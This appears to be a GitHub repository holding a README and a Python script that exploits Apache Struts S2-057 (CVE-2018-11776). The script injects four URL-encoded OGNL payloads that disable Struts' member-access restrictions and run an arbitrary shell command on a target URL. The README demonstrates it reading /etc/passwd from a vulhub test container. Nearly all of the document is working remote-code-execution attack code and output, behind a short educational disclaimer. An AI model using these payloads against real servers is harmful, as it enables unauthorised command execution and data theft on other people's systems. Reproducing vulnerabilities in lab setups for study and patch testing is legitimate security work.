├── README.md └── exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # S2-057-CVE-2018-11776 2 | A simple exploit for Apache Struts RCE S2-057 (CVE-2018-11776) 3 | 4 | ***IMPORTANT: Is provided only for educational or information purposes.*** 5 | 6 | # Deploy test environment 7 | ``` 8 | git clone https://github.com/vulhub/vulhub 9 | cd vulhub/struts2/s2-057 10 | docker-compose up -d 11 | ``` 12 | 13 | # Usage 14 | `exploit.py ` 15 | 16 | # Example 17 | ```Shell 18 | $ python exploit.py "http://127.0.0.1:8080/showcase" "cat /etc/passwd" "actionChain1.action" 3 19 | 20 | === Tring payload-3 === 21 | [*] Generated EXP: http://127.0.0.1:8080/showcase/%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat /etc/passwd%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/actionChain1.action 22 | [*] Exploiting... 23 | [+] HTTP Status: 200 24 | [+] Response: root:x:0:0:root:/root:/bin/bash 25 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 26 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 27 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 28 | sync:x:4:65534:sync:/bin:/bin/sync 29 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 30 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 31 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 32 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 33 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 34 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 35 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 36 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 37 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 38 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 39 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 40 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 41 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 42 | _apt:x:100:65534::/nonexistent:/bin/false 43 | [*] Exploit Finished! 44 | ``` 45 | 46 | # Reference 47 | * https://www.anquanke.com/post/id/157823 48 | * https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg 49 | * https://github.com/vulhub/vulhub 50 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | from urllib import quote 4 | 5 | def exploit(url): 6 | try: 7 | res = requests.get(url, timeout=10, allow_redirects=False) 8 | print "[+] HTTP Status: {}".format(res.status_code) 9 | if res.status_code == 302: 10 | print "[+] Location: {}".format(res.headers['location']) 11 | print "[*] Exploit Finished!" 12 | elif res.status_code == 200: 13 | print "[+] Response: {}".format(res.text.strip()) 14 | print "[*] Exploit Finished!" 15 | else: 16 | print "[!] Exploit Failed!" 17 | except Exception: 18 | pass 19 | 20 | if __name__ == "__main__": 21 | if len(sys.argv) != 5: 22 | print """****S2-057 (CVE-2018-11776) Exploit**** 23 | Usage: 24 | exploit.py 25 | 26 | Example: 27 | exploit.py "http://127.0.0.1/" "touch /tmp/success" "help.action" 1 28 | """ 29 | exit() 30 | url = sys.argv[1] 31 | command = sys.argv[2] 32 | action = sys.argv[3] 33 | payload = sys.argv[4] 34 | 35 | payloads = [] 36 | # payload for other version 37 | payloads.append("%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D----1".format(command)) 38 | 39 | # payload for struts 2.3.20, ref. https://www.anquanke.com/post/id/157823 40 | payloads.append("%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{}%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D----2".format(command)) 41 | 42 | # payload for struts 2.3.34, ref. https://www.anquanke.com/post/id/157823 43 | payloads.append("%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27{}%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D----3".format(command)) 44 | 45 | # payload for struts 2.3.34, ref. https://mp.weixin.qq.com/s/iBLrrXHvs7agPywVW7TZrg 46 | payloads.append("%24%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{}%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D----4".format(command)) 47 | 48 | for item in payloads: 49 | index = item.split('----')[1] 50 | pload = item.split('----')[0] 51 | if index == str(payload): 52 | link = "{}/{}/{}".format(url, pload, action) 53 | print "\n=== Tring payload-{} ===".format(index) 54 | print "[*] Generated EXP: {}".format(link) 55 | print "[*] Exploiting..." 56 | exploit(link) 57 | --------------------------------------------------------------------------------